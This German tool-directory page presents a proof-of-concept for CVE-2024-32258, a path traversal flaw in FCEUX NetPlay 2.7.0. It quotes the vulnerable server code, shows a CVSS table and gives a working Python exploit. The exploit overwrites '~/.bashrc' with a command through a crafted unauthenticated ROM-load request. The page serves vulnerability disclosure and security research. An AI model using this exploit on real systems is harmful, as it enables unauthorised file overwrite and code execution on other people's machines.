Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-32258 — Proof-of-Concept-Exploit für CVE-2024-32258, eine Path-Traversal-Schwachstelle in FCEUX NetPlay 2.7.0, die nicht authentifiziertes entferntes Überschreiben beliebiger Dateien über manipulierte ROM-Anfragen ermöglicht. | Kitploit
Tools/GitHubGitHub/secnotes/cve-2024-32258
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

Proof-of-Concept-Exploit für CVE-2024-32258, eine Path-Traversal-Schwachstelle in FCEUX NetPlay 2.7.0, die nicht authentifiziertes entferntes Überschreiben beliebiger Dateien über manipulierte ROM-Anfragen ermöglicht.

Repository anzeigen
31vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Übersicht

  • CVE ID: CVE-2024-32258
  • Typ: Path Traversal
  • Anbieter: FCEUX
  • Produkte: FCEUX_NetPlay
  • Version: 2.7.0
  • Fix: 48b48e7c13be1b949074f42660a33c7ef57135e1

Beschreibung

FCEUX ist ein NES-Emulator, der uns zurück in unsere Kindheit versetzen kann. Er bietet mehrere interessante Funktionen, wie zum Beispiel die Möglichkeit, dass zwei Spieler online Spiele spielen können.

Der Server und der Client können sich gegenseitig ROMs übermitteln, aber der Server filtert keine Sonderzeichen in den vom Client gesendeten ROM-Namen heraus. Diese Path-Traversal-Schwachstelle kann dazu führen, dass beliebige Dateien auf dem Server überschrieben werden. Noch schwerwiegender ist, dass das Remote-Laden von ROMs keine Authentifizierung erfordert, selbst wenn die Servereinstellungen für die Anmeldung ein Passwort verlangen.

Sie wurde während des Commits 798c5a1d9c73b899cdbe3d613c0022588281979f eingeführt - Für NetPlay wurde die Möglichkeit hinzugefügt, dass der Client das Laden eines ROMs anfordern kann.

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

Sowohl msf->fileName als auch fp werden vom Angreifer festgelegt.

PoC

Sie können fceux durch Kompilieren des Quellcodes erhalten oder direkt unser kompiliertes Binary verwenden. fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

Viel Spaß! 😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

Schweregrad

Hoch 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS3.1ScoreDetail
ATTACK VECTORNetworkAngriff über das Netzwerk starten
ATTACK COMPLEXITYLowEs genügen zwei gesendete Nachrichten
PRIVILEGES REQUIREDNoneKeine Berechtigungen erforderlich, um das Angriffspaket zu senden
USER INTERACTIONRequireKlicken Sie auf die Bestätigungsschaltfläche, um das ROM zu laden.
SCOPEUnchangedna
CONFIDENTIALITYHighÜberschreiben beliebiger Dateien
INTEGRITYHighÜberschreiben beliebiger Dateien
AVAILABILITYHighÜberschreiben beliebiger Dateien

Autor

Yansong Li und Yijie Xun (Northwestern Polytechnical University)

Tool herunterladen